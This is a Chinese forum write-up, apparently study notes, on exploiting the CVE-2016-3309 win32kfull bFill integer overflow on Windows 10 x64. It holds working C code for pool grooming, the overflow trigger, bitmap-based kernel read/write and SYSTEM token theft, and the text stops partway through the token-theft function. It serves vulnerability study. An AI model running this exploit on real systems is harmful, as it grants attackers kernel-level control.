首页
社区
课程
招聘
[原创]CVE-2016-3309提权漏洞学习笔记
2022-5-21 21:08 14109

[原创]CVE-2016-3309提权漏洞学习笔记

2022-5-21 21:08
14109

一.前言

1.漏洞描述

该漏洞是存在于win32kfull.sys的bFill函数中的一个整型上溢漏洞,函数在申请内存的时候没有对申请的内存的大小是否发生整型溢出进行验证,导致申请的内存大小可以远小于期望申请的内存大小。随后函数又会根据期望申请的内存大小来对申请到的内存进行写入操作,这就引发了越界写入的问题,最终会在释放内存的时候因为破坏了相邻块的_POOL_HEADER而导致BSOD。通过适当的内存布局,可以利用这个越界写入操作修改BitMap对象的关键成员来实现任意地址读写入从而实现提权。

2.实验环境

  • 操作系统:Win10 1511 x64 企业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro, WinDbg 

二.漏洞分析

1.漏洞成因

bFill函数的第一个参数是一个EPATHOBJ结构体,该结构体的定义如下,其中偏移0x4出保存的cCurves定义了曲线的数目,bFill函数用该值来计算要申请的内存大小。

typedef struct _EPATHOBJ
{
  PATHOBJ  po;
  PPATH   pPath;
  CLIPOBJ   *pco;
} EPATHOBJ, *PEPATHOBJ;

typedef struct _PATHOBJ {
  FLONG  fl;
  ULONG  cCurves;
} PATHOBJ;

以下是bFill函数的关键代码,函数会将EPATHOBJ中的cCurves取出,将其与0x30相乘得到的数值作为内存大小来申请内存。如果申请成功,就会在调用的bConstructGET函数中会对申请的内存进行写入操作,在bFill函数最后会将申请的内存释放。

.text:00000001C02C8D24 ; __int64 __fastcall bFill(struct EPATHOBJ *ePathObj, __m128i *a2, int a3, void (__stdcall *a4)(struct _RECTL *, unsigned int, void *), void *a5)
.		// 省略部分代码
.text:00000001C02C8D56                 mov     rbx, rcx	;将第一个参数EPATHOBJ赋值给rbx
		// 省略部分代码
.text:00000001C02C90DE                 mov     eax, [rbx+4]    ; 将cCurves赋值给eax
.text:00000001C02C90E1                 cmp     eax, 14h        ; 比较eax是否大于0x14,如果大于则跳转,这里需要跳转才能申请
.text:00000001C02C90E4                 ja      short loc_1C02C90FA
.text:00000001C02C90F3                 and     [rsp+658h+isAlloc], 0	;如果不大于0x14,则不申请内存,该变量置0
.text:00000001C02C90F8                 jmp     short loc_1C02C9126
		// 省略部分代码
.text:00000001C02C90FA loc_1C02C90FA:                          ; 申请内存的代码
.text:00000001C02C90FA                 lea     ecx, [rax+rax*2]		; 将cCurves * 3的值赋给ecx
.text:00000001C02C90FD                 shl     ecx, 4          		; 将ecx左移4位,即乘以2^4 = 0x10,所以ecx = cCurves * 0x30
.text:00000001C02C9100                 xor     r8d, r8d
.text:00000001C02C9103                 mov     edx, 'gdeG'
.text:00000001C02C9108                 call    PALLOCMEM2		; 该函数会调用Win32AllocPool申请内存
.text:00000001C02C910D                 mov     r14, rax		; 将申请到的内存地址赋给r14
.text:00000001C02C9110                 mov     [rsp+658h+var_608], rax
.text:00000001C02C9115                 test    rax, rax			; 判断内存是否申请成功
.text:00000001C02C9118                 jz      loc_1C02C93CA
.text:00000001C02C911E                 mov     [rsp+658h+isAlloc], 1	;申请成功则将该变量置1
		// 省略部分代码
.text:00000001C02C9182                 mov     r8, r14         ; 将前面保存在r14的申请到的内存地址赋给r8
.text:00000001C02C9185                 lea     rdx, [rsp+658h+var_5A8] 
.text:00000001C02C918D                 mov     rcx, rbx        
.text:00000001C02C9190                 call    cs:__imp_bConstructGET	; 该函数会对申请到的内存地址进行写入操作
		// 省略部分代码
.text:00000001C02C93B8                 cmp     [rsp+658h+isAlloc], 0	; 通过变量isAlloc判断上面内存申请是否成功
.text:00000001C02C93BD                 jz      short loc_1C02C93C8
.text:00000001C02C93BF                 mov     rcx, r14        
.text:00000001C02C93C2                 call    cs:__imp_Win32FreePool	; 如果成功则释放内存
		// 省略部分代码
.text:00000001C02C93EC ?bFill@@YAHAEAVEPATHOBJ@@PEAU_RECTL@@KP6AX1KPEAX@Z2@Z endp

2.POC代码分析

以下是触发该漏洞的POC代码,该代码会通过调用PolyLineTo函数来增加EPATHOBJ的cCurves,共增加0x156次,每次增加0x3FE01。而在调用bFill函数前,cCurves还会被加1用来闭合曲线。因此,在bFill函数中申请的内存大小就会是(0x156 * 0x3FE01 + 1) * 0x30 = 0x5555557 * 0x30 = 0x1 0000 00050,溢出后就会是0x50。

BOOL POC_CVE_2016_3309()
{
	BOOL bRet = TRUE;

	static POINT points[0x3fe01];
	points[0].x = 1;
	points[0].y = 1;
	// Get Device context of desktop hwnd
	HDC hdc = GetDC(NULL);
	// Get a compatible Device Context to assign Bitmap to
	HDC hMemDC = CreateCompatibleDC(hdc);
	// Create Bitmap Object
	HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
	// Select the Bitmap into the Compatible DC
	HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
	//Begin path
	BeginPath(hMemDC);
	// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
	for (int j = 0; j < 0x156; j++) {
		PolylineTo(hMemDC, points, 0x3FE01);
	}
	// End the path
	EndPath(hMemDC);
	// Fill the path
	FillPath(hMemDC);

	return bRet;
}

在申请内存处下中断,编译运行POC,就可以看到因为整型溢出此时申请的内存大小就远小于期望的大小。

1: kd> p
win32kfull!bFill+0x3d6:
fffff961`218c90fa 8d0c40          lea     ecx,[rax+rax*2]		               // ecx = eax * 3
1: kd> p
win32kfull!bFill+0x3d9:
fffff961`218c90fd c1e104          shl     ecx,4		              // ecx = ecx * 2^4 = ecx * 0x10 = eax * 0x30
1: kd> r ecx
ecx=10000005
1: kd> p
win32kfull!bFill+0x3dc:
fffff961`218c9100 4533c0          xor     r8d,r8d
1: kd> r rcx						// 此时rcx已经溢出为0x50
rcx=0000000000000050
1: kd> p
win32kfull!bFill+0x3df:
fffff961`218c9103 ba47656467      mov     edx,67646547h
1: kd> p
win32kfull!bFill+0x3e4:
fffff961`218c9108 e8ef3fd5ff      call    win32kfull!PALLOCMEM2 (fffff961`2161d0fc)
1: kd> p
win32kfull!bFill+0x3e9:
fffff961`218c910d 4c8bf0          mov     r14,rax
1: kd> r rax
rax=fffff90141c96380					// 申请的内存的地址

继续运行,就会越界写入操作修改了相邻内存块的_POOL_HEAEDER,从而在释放内存的时候产生BSOD错误,以下是部分错误信息:

1: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_HEADER (19)					// BSOD产生的原因
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 0000000000000020, a pool block header size is corrupt.
Arg2: fffff90141c96370, The pool entry we were looking for within the page.	// 申请的内存块的_POOL_HEADER
Arg3: fffff90141c963d0, The next pool entry.				// 申请的内存块的下一内存块_POOL_HEADER
Arg4: 0000000025060037, (reserved)


SYMBOL_NAME:  win32kfull!bFill+2dd

三.漏洞利用

1.内存布局

该漏洞由于整型溢出可以越界写入相邻的内存,如果这些写入操作能修改BitMap对象的关键成员就可以实现任意地址写入。为了达到这个目标,需要特定的内存布局,在x64位操作系统上的池内存有以下的几个特点:

  • 每一块申请的内存都会加上0x10字节大小的_POOL_HEADER

  • 申请的内存大小如果超过0x808字节就会在新的内存页中申请该内存

  • 连续的请求会从页的末尾开始分配,页尾的内存在释放的时候不会合并位于相邻内存页的下一内存块

本文的内存布局和参考链接中的不同,其中每一页的0x1000字节由0xBC0大小的剪切板对象,0x3E0大小的BitMap对象和0x60大小的加速表对象或空闲内存构成。这样,当触发漏洞的时候,申请的0x50(加上_POOL_HEADER为0x60)的内存就会占用其中位于页尾的空闲内存。这样,即使越界写入操作会修改相邻内存块的_POOL_HEADER,但此时的内存块位于下一内存页,所以在释放申请的0x50大小的内存块的时候,不会因为合并操作产生BSOD。此时,如果能利用越界写入操作修改相邻内存页中的BitMap对象中的关键成员,就可以实现任意地址读写。

想要创建上图的内存布局,同时让触发漏洞时候申请的内存刚好在中间的1000个内存页中0x60大的空闲内存中,需要通过以下几个步骤实现:

  1. 通过加速表对象创建0x60大小的内存来消耗内存池中的空闲内存

  2. 创建5000个0xFA0大小的BitMap对象,这样就会有5000个内存页中包含0xFA0大小的BitMap对象和0x60大小的空闲内存

  3. 通过加速表对象创建5000个0x60字节大小的加速表占用第2步中0x60大小的空闲内存

  4. 释放掉第2步中创建的BitMap对象,这样那5000个内存页中起始的0xFA0内存就会变成空闲内存

  5. 创建5000个0xBC0大小的剪切板对象,这些对象会占用第4步释放BitMap对象而产生的内存页中起始的0xFA0的空闲内存中的0xBC0,这些0xFA0的空闲内存就会剩余0xFA0 - 0xBC0 = 0x3E0的空闲内存

  6. 创建5000个0x3E0的BitMap对象,这些BitMap对象就会占用第5步中剩余的0x3E0的空闲内存

  7. 释放掉第3步创建的中间一部分加速表对象,这样就会在第5步和第6步中创建的剪切板对象和BitMap对象后产生0x60大小的空闲内存,这样触发漏洞时候申请的内存就会刚好占用这些0x60大小的空闲内存

经过以上7个步骤就会形成上图的内存布局,相应代码如下,此时要注意在x64系统中,BitMap对象的对象头占0x260字节,加速表对象的对象头占0x20字节,剪切板对象的对象头占0x14字节。

BOOL Init_CVE_2016_3309()
{
	BOOL bRet = TRUE;
	CONST DWORD dwBitNum = 5000, dwAccelNum = 5000, dwJunkNum = 2000;
	DWORD i = 0;
	HBITMAP hBitMap[dwBitNum + 5] = { 0 };
	HACCEL hAccel[dwAccelNum + 5] = { 0 };

	for (i = 0; i < dwJunkNum; i++)
	{
		// 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60
		ACCEL accel[0x6] = { 0 };
		hAccel[i] = CreateAcceleratorTableA(accel, 0x6);
		if (!hAccel[i])
		{
			ShowError("CreateAcceleratorTableA", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	for (i = 0; i < dwBitNum; i++)
	{
		// 0xD30 * 1 * 8 / 8 = 0xD30
		// 0xD30 + 0x10 + 0x260 = 0xFA0
		hBitMap[i] = CreateBitmap(0xD30, 1, 1, 8, NULL);
		if (!hBitMap[i])
		{
			ShowError("CreateBitmap", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	for (i = 0; i < dwAccelNum; i++)
	{
		// 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60
		ACCEL accel[0x6] = { 0 };
		hAccel[i] = CreateAcceleratorTableA(accel, 0x6);
		if (!hAccel[i])
		{
			ShowError("CreateAcceleratorTableA", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	for (i = 0; i < dwBitNum; i++)
	{
		// 释放0xFA0的BitMap对象
		if (!DeleteObject(hBitMap[i]))
		{
			ShowError("DeleteObject", GetLastError());
			bRet = FALSE;
			goto exit;
		}
		hBitMap[i] = NULL;
	}

	for (i = 0; i < dwBitNum; i++)
	{
		// 0xB9C + 0x14 + 0x10 = 0xBC0,占用其中的0xBC0
		// 这样释放BitMap对象获取的0xFA0内存就剩余0xFA0 - 0xBC0 = 0x3E0
		if (!CreateClipboard(0xB9C))
		{
			bRet = FALSE;
			goto exit;
		}
	}

	for (i = 0; i < dwBitNum; i++)
	{
		// 0x5C * 32 / 8 = 0x5C * 4 = 0x170
		// 0x170 + 0x10 + 0x260 = 0x3E0
		// 占用剩余的0x3E0内存
		hBitMap[i] = CreateBitmap(0x5C, 1, 1, 32, NULL);
		if (!hBitMap[i])
		{
			ShowError("CreateBitmap", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	for (i = 2000; i < 3000; i++)
	{
		// 释放部分页尾的0x60字节的内存,其中的某块用来保存漏洞申请的0x60内存
		if (!DestroyAcceleratorTable(hAccel[i]))
		{
			ShowError("DestroyAcceleratorTable", GetLastError());
			bRet = FALSE;
			goto exit;
		}
		hAccel[i] = NULL;
	}
exit:
	return bRet;
}

在申请内存处下断点,编译运行程序就可以看到此时申请的内存在内存页的最后0x60字节:

1: kd> g
Breakpoint 0 hit
win32kfull!bFill+0x3e4:
fffff960`298e9108 e8ef3fd5ff      call    win32kfull!PALLOCMEM2 (fffff960`2963d0fc)
2: kd> p
win32kfull!bFill+0x3e9:
fffff960`298e910d 4c8bf0          mov     r14,rax
2: kd> r rax
rax=fffff90145284fb0

2.任意地址读写

在x64系统中创建的BitMap对象的BASEOBJECT64占0x18字节,结构体定义如下:

typedef struct {
  ULONG64 hHmgr;
  ULONG32 ulShareCount;
  WORD cExclusiveLock;
  WORD BaseFlags;
  ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18

利用BitMap对象实现任意地址写入的关键成员在对BASEOBJECT64之后的SURFOBJ64结构体中,结构体定义如下:

typedef struct tagSIZE {
    LONG cx;
    LONG cy;
} SIZE,*PSIZE,*LPSIZE;

typedef SIZE SIZEL;

typedef struct {
  ULONG64 dhsurf;         // 0x00
  ULONG64 hsurf;          // 0x08
  ULONG64 dhpdev;         // 0x10
  ULONG64 hdev;           // 0x18
  SIZEL sizlBitmap;       // 0x20
  ULONG64 cjBits;         // 0x28
  ULONG64 pvBits;         // 0x30
  ULONG64 pvScan0;        // 0x38
  ULONG32 lDelta;         // 0x40
  ULONG32 iUniq;          // 0x44
  ULONG32 iBitmapFormat;  // 0x48
  USHORT iType;           // 0x4C
  USHORT fjBitmap;        // 0x4E
} SURFOBJ64;              // sizeof = 0x50

其中偏移0x38的pvScan0指定了通过SetBitmapBits和GetBitmapBits读写内存地址,正常情况下pvScan0指向的地址紧跟在BitMap对象头之后。偏移0x20的sizlBitmap中的cx和cy则决定了可以读写的字节数,如果可以修改这两个值就可以扩大读写的范围。

内存的修改发生在bConstructGET函数中,该函数通过调用AddEdgeToGET函数完成写入,AddEdgeToGET函数的第二个参数指向了要修改的内存地址,第三个和第四个参数为_POINT结构体,对应了POC代码中的POINT数组中的点,分别代表了上一个点的坐标和当前点的坐标,最后一个参数是RECTL结构体,相关的定义如下:

typedef struct tagRECT {
    LONG left;
    LONG top;
    LONG right;
    LONG bottom;
} RECT,*PRECT,*NPRECT,*LPRECT;
 
typedef LONG FIX;
 
typedef struct _POINTFIX {
  FIX  x;
  FIX  y;
} POINTFIX, *PPOINTFIX;

以下是AddEdgeToGET函数中的关键代码,其中rect的top和bottom通过动态调试可以获取它们的值分别是0x1F0和0。

struct EDGE *__fastcall AddEdgeToGET(struct EDGE *a1, struct EDGE *a2, struct _POINTFIX *prePoint, struct _POINTFIX *curPoint, struct _RECTL *rect)
{
  cur_y = *((_DWORD *)curPoint + 1);		// 取出当前点的y
  min_y = *((_DWORD *)prePoint + 1);		// 将上一个点的y赋给min_y
  pre_y = *((_DWORD *)prePoint + 1);		// 取出上一个点的y
  plus_y = *((_DWORD *)curPoint + 1) - pre_y;	// 将当前点的y与上一个点的y相减
  edge = a2;				        // 将申请的内存块赋给edge

  if ( plus_y < 0 )				// 判断两个y值相减是否小于0
  {
     max_y = min_y;				// 将min_y,即上一个点的y赋给max_y
    *((_DWORD *)edge + 0xA) = 0xFFFFFFFF;       // 内存偏移0xA * 0x4 = 0x28处赋值为0xFFFFFFFF
    min_y = cur_y;				// 小于0,则将min_y赋值为cur_y,所以min_y等于当前点与上一个点中较小的那个
  }
  else
  {
    max_y = *((_DWORD *)curPoint + 1);		// 将当前点的y赋给max_y,所以max_y等于当前点与上一个点中较大的那个
    *((_DWORD *)edge + 0xA) = 1;                // 内存偏移0xA * 0x4 = 0x28处赋值为1
  }

  v15 = (min_y + 0xF) >> 4;
  v16 = ((max_y + 0xF) >> 4) - v15;
  if ( v16 <= 0 )			                // 较大值与较小值如果相等,也就是两个点的y值相等,此时就会返回
    return edge;

  result = (struct EDGE *)((char *)edge + 0x30);	// 取下一个EDGE结构,这里看出每次向后移动0x30个字节,EDGE结构体大小为0x30

  return result;
}

这段代码可以获取以下的几个信息:

  1. 如果当前点的y值小于上一个点的y值,内存偏移0x28处的内存会被赋值为0xFFFFFFFF,否则赋值为1

  2. 如果当前点和上一个点的y值相等,则函数会将edge直接返回,也就是不进行内存偏移,直接返回原来的内存地址

  3. 如果第2步没返回,就会返回edge + 0x30处的内存,也就是取当前地址偏移0x30处的内存地址,下一次进入到该函数中就会操作这块新的内存,这里也可以看出,EDGE结构体的大小为0x30

在本文的内存布局中,要修改BitMap的中的sizlBitmap需要写入申请的0x50字节,页起始处0xBC0字节的剪切板对象,sizlBitmap成员相对于BitMap对象页的偏移0x10 + 0x18 + 0x20 = 0x48,共0x50 + 0xBC0 + 0x48 = 0xC58,sizelBitmap占8字节,所以一共需要操作0xC60字节,AddEdgeToGET函数每次会移动0x30字节的内存,所以一共要添加0xC60 / 0x30 = 0x42次。起始点和结束点会被当作特例添加进去,因此只需要将所有点设置一样,将其中一个点设为不同,在调用PolyLine函数前0x20次增加cCurves的时候,该点在作为上一个点和当前点的时候都会进行内存偏移,这样就会刚好写入0x20 * 2 + 2 = 0x42次,此时触发漏洞的代码如下:

BOOL Trigger_CVE_2016_3309()
{
	CONST DWORD dwCount = 0x3FE01;
	BOOL bRet = TRUE;
	static POINT points[dwCount];
	HDC hdc = NULL, hMemDC = NULL;
	HBITMAP bitmap = NULL;
	HGDIOBJ bitobj = NULL;
	DWORD i = 0;
        
        // 将y值设置为相同
	for (i = 0; i < dwCount; i++)
	{
		points[i].x = 0x5A1F;
		points[i].y = 0x5A1F;
	}
        
        // 将第3个点y值设为20
	points[2].y = 20;
	points[dwCount - 1].x = 0x4A1F;
	points[dwCount - 1].y = 0x6A1F;

	hdc = GetDC(NULL);
	if (!hdc)
	{
		ShowError("GetDC", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	hMemDC = CreateCompatibleDC(hdc);
	if (!hMemDC)
	{
		ShowError("CreateCompatibleDC", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
	if (!bitmap)
	{
		ShowError("CreateBitmap", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
	if (!bitobj)
	{
		ShowError("SelectObject", GetLastError());
		bRet = FALSE;
		goto exit;
	}


	if (!BeginPath(hMemDC))
	{
		ShowError("BeginPath", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	for (int j = 0; j < 0x156; j++)
	{
	        // 写入0x20次以后,停止写入
		if (j > 0x1F && points[2].y != 0x5A1F)	points[2].y = 0x5A1F;
		if (!PolylineTo(hMemDC, points, dwCount))
		{
			ShowError("PolylineTo", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	if (!EndPath(hMemDC))
	{
		ShowError("EndPath", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	FillPath(hMemDC);

exit:
	return bRet;
}

此时在申请内存处下断点,编译运行程序,在内存写入前,BitMap的sizlBitmap是创建BitMap时指定的大小。

0: kd> g
Breakpoint 0 hit
win32kfull!bFill+0x3e4:
fffff961`9e6c9108 e8ef3fd5ff      call    win32kfull!PALLOCMEM2 (fffff961`9e41d0fc)
0: kd> p
win32kfull!bFill+0x3e9:
fffff961`9e6c910d 4c8bf0          mov     r14,rax
3: kd> r rax
rax=fffff901458b0fb0
3: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0
fffff901`458b1bc0  35306847`233e00bc 00000000`00000000
fffff901`458b1bd0  00000000`02051192 00000000`00000000
fffff901`458b1be0  00000000`00000000 00000000`00000000
fffff901`458b1bf0  00000000`02051192 00000000`00000000
fffff901`458b1c00  00000000`00000000 00000001`0000005c    // ffff901`458B1C08处即是sizlBitmap成员
fffff901`458b1c10  00000000`00000170 fffff901`458b1e28
fffff901`458b1c20  fffff901`458b1e28 00002e5b`00000170
fffff901`458b1c30  00010000`00000006 00000000`00000000

当越界写入操作完成时,sizlBitmap成员的大小就被扩大为0x1 * 0xFFFFFFFF = 0xFFFFFFFF,sizelBitmap成员的前一个成员,即hdev被修改为非0,而之后的成员,特别是pvScan0并没有被修改,。

3: kd> g
Breakpoint 1 hit
win32kfull!bFill+0x46c:
fffff961`4a4c9190 ff156a7f0800    call    qword ptr [win32kfull!_imp_bConstructGET (fffff961`4a551100)]
3: kd> p
win32kfull!bFill+0x472:
fffff961`4a4c9196 8bd8            mov     ebx,eax
3: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0
fffff901`458b1bc0  ffffffff`00000014 005a0b00`00000000
fffff901`458b1bd0  00000001`00000000 00000000`00000001
fffff901`458b1be0  fffff901`458b0fb0 00000000`0000001f
fffff901`458b1bf0  ffffffff`00000000 006a1f00`004a1f00
fffff901`458b1c00  00000001`00000000 00000001`ffffffff     // 此时sizlBitmap被扩大,且0xffff901`458b1c00中的hdev被修改了
fffff901`458b1c10  00000000`00000170 fffff901`458b1e28     // pvScan0指向的地址没有被修改,是正常的
fffff901`458b1c20  fffff901`458b1e28 00002e5b`00000170
fffff901`458b1c30  00010000`00000006 00000000`00000000

此时的sizlBitmap成员被扩大,也就是通过SetBitmapBits和GetBitmapBits对该BitMap对象可读写的地址被扩大了,而pvScan0并没有被修改,所以此时就可以将该BitMap对象作为work,将相邻页中的BitMap对象作为manger,通过修改相邻页中的BitMap对象中的pvScan0来实现任意地址读写。

获取work的方法也很简单,当创建BitMap对象的时候,指定的可读写的内存大小为0x5C * 1 * 32 / 8 = 0x170,所以可以遍历BitMap句柄的数组,调用GetBitmapBits来判断可读写的内存大小是否超过这个值,如果超过,说明该BitMap被修改了,相应代码如下:

	pBuf_2016_3309 = (PULONG64)malloc(0x1000);
	if (!pBuf_2016_3309)
	{
		bRet = FALSE;
		ShowError("malloc", GetLastError());
		goto exit;
	}

	ZeroMemory(pBuf_2016_3309, 0x1000);

	for (i = 0; i < dwBitNum; i++)
	{
		if (GetBitmapBits(hBitMap[i], 0x1000, pBuf_2016_3309) > 0x170)
		{
			g_hWorker_2016_3309 = hBitMap[i];
			g_hManager_2016_3309 = hBitMap[i + 1];
			break;
		}
	}
	
	if (!g_hWorker_2016_3309 || !g_hManager_2016_3309)
	{
		printf("not find BitMap\n");
		bRet = FALSE;
		goto exit;
	}

此时编译运行会出现BSOD错误,错误信息如下,可以看到是错误是在调用GetBitmapBits函数的时候,在bAllowShareAccess中会对rax偏移0x38处的内容进行读取操作,而此时该地址的内存是无效的。rax等于BitMap对象的hdev,所以这个错误是因为内存写入的时候,修改了hdev产生的。

rax=0000000100000000 rbx=ffffd000b6c019c8 rcx=ffffd000b6c019d0
rdx=ffffd000b6c019d0 rsi=fffff9014511dbd0 rdi=0000000100000000
rip=fffff9614a5a2553 rsp=ffffd000b6c018e8 rbp=ffffd000b6c01a20
 r8=fffff9614a4e7e58  r9=0000000000000000 r10=7ffff9014000b588
r11=7ffffffffffffffc r12=ffffd000b6c01b18 r13=0000000003ff3d58
r14=0000000000000000 r15=0000000000001000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
win32kbase!PDEVOBJ::bAllowShareAccess+0x3:
fffff961`4a5a2553 8b5038          mov     edx,dword ptr [rax+38h] ds:002b:00000001`00000038=????????

STACK_TEXT:  
win32kbase!PDEVOBJ::bAllowShareAccess+0x3
win32kbase!NEEDGRELOCK::vLock+0x21
win32kfull!GreGetBitmapBits+0xf6
win32kfull!NtGdiGetBitmapBits+0xab

1: kd> dd 0000000100000000 + 0x38
00000001`00000038  ???????? ???????? ???????? ????????
00000001`00000048  ???????? ???????? ???????? ????????
00000001`00000058  ???????? ???????? ???????? ????????
00000001`00000068  ???????? ???????? ???????? ????????
00000001`00000078  ???????? ???????? ???????? ????????
00000001`00000088  ???????? ???????? ???????? ????????
00000001`00000098  ???????? ???????? ???????? ????????
00000001`000000a8  ???????? ???????? ???????? ????????

在错误函数bAllowShareAccess中,会将hdev + 0x38的地址取出并判断其是否为1,如果为1,则函数返回0,GetMapbitsBits函数就将调用成功。

.text:00000001C0012550 ; __int64 __fastcall PDEVOBJ::bAllowShareAccess(PDEVOBJ *__hidden this)
.text:00000001C0012550                 mov     rax, [rcx]
.text:00000001C0012553                 mov     edx, [rax+38h]
.text:00000001C0012556                 test    dl, 1
.text:00000001C0012559                 jz      short loc_1C00125C1
                    // 省略部分代码
.text:00000001C00125C1 loc_1C00125C1:                          
.text:00000001C00125C1                                         
.text:00000001C00125C1                 xor     eax, eax
.text:00000001C00125C3                 retn
.text:00000001C00125C3 ?bAllowShareAccess@PDEVOBJ@@QEAAHXZ endp

根据上面的调试可以看到,hdev的值被修改为0x1 0000 0000。所以要避开上面的BSOD错误,只要在0x1 0000 0000处申请内存,且将0x1 0000 0038的值修改为1即可,相应代码如下:

	PBYTE pBuffer = (PBYTE)VirtualAlloc((PVOID)0x100000000,
					    0x1000,
					    MEM_COMMIT | MEM_RESERVE,
					    PAGE_READWRITE);
	if (!pBuffer)
	{
		ShowError("VirtualAlloc", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	*(pBuffer + 0x38) = 1;

现在得到了可以修改0xFFFFFFFF大小的BitMap对象的hWorker,只需要用它修改相邻内存页的BitMap对象的pvScan0就可以实现任意地址读写。hWorker的pvScan0所指地址为hWorker的BitMap对象之后,所以相邻内存页的pvScan0相对于它的偏移就是0x1D0(0x1000 - 0xBC0 - 0x10 -0x260) + 0xBC0 + 0x10 + 0x18 + 0x38 = 0x1D0 + 0xC20 = 0xDF8。所以通过SetBitmapBits修改hWorker偏移0xDF8处的内存就可以修改相邻内存页BitMap对象的pvScan0,此时就可以完成任意地址读写,相应的代码如下:

BOOL SetAddress_CVE_2016_3309(ULONG64 ulAddress)
{
	BOOL bRet = TRUE;

	pBuf_2016_3309[0xDF8 / 8] = ulAddress;

	if (SetBitmapBits(g_hWorker_2016_3309, 0x1000, pBuf_2016_3309) < 0x1000)
	{
		ShowError("SetBitmapBits", GetLastError());
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

BOOL BitMapRead_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize)
{
	BOOL bRet = TRUE;

	if (!SetAddress_CVE_2016_3309(ulAddress))
	{
		bRet = FALSE;
		goto exit;
	}

	if (GetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize)
	{
		ShowError("GetBitmapBits", GetLastError());
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

BOOL BitMapWrite_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize)
{
	BOOL bRet = TRUE;

	if (!SetAddress_CVE_2016_3309(ulAddress))
	{
		bRet = FALSE;
		goto exit;
	}

	if (SetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize)
	{
		ShowError("GetBitmapBits", GetLastError());
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

四.运行结果

在win 10 x64系统上,与提权相关的几个成员如下:

2: kd> dt _EPROCESS
nt!_EPROCESS
   +0x2e8 UniqueProcessId  : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
   +0x358 Token            : _EX_FAST_REF

2: kd> dt _LIST_ENTRY
FLTMGR!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

想要实现提权就要将System进程的Token赋值给本进程的Token,在ntoskrnl.exe内核文件中,全局变量PsInitialSystemProcess保存了System进程EPROCESS地址:

所以只要找到当前系统中运行的ntoskrnl.exe内核中的PsInitialSystemProcess地址就可以获取System进程的EPEROCESS地址,PsInitialSystemProcess相对于内核文件的偏移可以通过GetProceAddress获取,而当前系统中运行的内核文件的地址则需要以下函数获取:

BOOL WINAPI EnumDeviceDrivers(
  __out  LPVOID* lpImageBase,
  __in   DWORD cb,
  __out  LPDWORD lpcbNeeded);

第一个参数用来接收系统中运行的驱动文件的地址,该变量将会指向一个ULONG64的数组,其中第一个元素就是当前系统运行的ntoskrnl.exe的地址,因此,可以通过以下代码来获取System进程的EPROCESS地址:

ULONG64 GetNTBase()
{
	ULONG64 Base[0x1000];
	DWORD dwRet = 0;
	ULONG64 ulKrnlBase = 0;

	if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))
	{
		ulKrnlBase = Base[0];
	}
	else
	{
		ShowError("EnumDeviceDrivers", GetLastError());
	}

	return ulKrnlBase;
}

ULONG64 GetSystemProcess()
{
	HMODULE hModel = NULL;
	ULONG64 ulAddress = 0, ulOSBase = 0, ulRes = 0;

	ulOSBase = GetNTBase();
	if (ulOSBase == 0)
	{
		goto exit;
	}

	hModel = LoadLibrary("ntoskrnl.exe");
	if (!hModel)
	{
		ShowError("LoadLibrary", GetLastError());
		goto exit;
	}

	ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess");
	if (!ulAddress)
	{
		ShowError("GetProcAddress", GetLastError());
		goto exit;
	}

	ulRes = ulAddress - (ULONG64)hModel + ulOSBase;

exit:
	return ulRes;
}

有了System进程的EPROCESS地址,就可以通过上面实现的任意地址读写的功能来实现Token的替换,相应代码如下:

BOOL EnablePrivilege_CVE_2016_3309()
{
	BOOL bRet = TRUE;
	CONST DWORD dwTokenOffset = 0x358, dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8;
	ULONG64 ulSystemToken = 0, ulEprocess = 0;

	ulEprocess = GetSystemEprocess_CVE_2016_3309();
	if (!ulEprocess)
	{
		bRet = FALSE;
		goto exit;
	}

	if (!BitMapRead_CVE_2016_3309(ulEprocess + dwTokenOffset,
		(PBYTE)&ulSystemToken,
		sizeof(ULONG64)))
	{
		bRet = FALSE;
		goto exit;
	}

	ULONG64 ulCurPID = GetCurrentProcessId(), ulPID = 0;

	do {
